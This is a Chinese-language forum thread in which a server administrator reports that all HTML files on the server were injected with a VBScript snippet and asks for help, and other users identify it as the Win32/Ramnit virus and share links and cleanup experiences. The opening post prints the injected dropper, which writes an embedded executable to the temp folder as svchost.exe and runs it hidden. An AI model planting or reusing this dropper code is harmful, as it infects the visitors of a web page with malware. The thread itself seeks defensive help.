大早上，发现服务器被人攻击了，所有的 html 都被植入了一段 vbscript

[blakefan]

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A900003000000
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

安全不懂啊，懂的 v 友指教一下

[zhanglp888]

Win32/Ramnit
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fRamnit

dll 文件也会有问题，

[hicdn]

这个是在服务器上看到的还是在浏览器里看到的

[akafeng]

这是运行一个文件, svchost.exe, 目测是木马

[bigtan]

中过这个病毒

[Moker]

前段时间同事中过，会感染所有的.html 文件后缀，然后重装....不重装好像麻烦点

[hienchu]

怎么被入侵的？

[ibcker]

等下会不会有人发帖：今天攻击了一个网站，所有的 html 都被植入了一段 vbscript

[am241]

这种病毒十年前就不好用了吧

[billyu]

我前几天自己电脑也中了 然后用 360 国际版在安全模式下全盘杀毒搞定的 win7

[maskerTUI]

/t/248061

[visonme]

https://www.abuse.ch/?p=2842

对你了解这种类别的病毒有帮助

[blakefan]

网页木马程序

[prondtoo]

刚弄好 nexpose ，有需要可以帮你扫一下。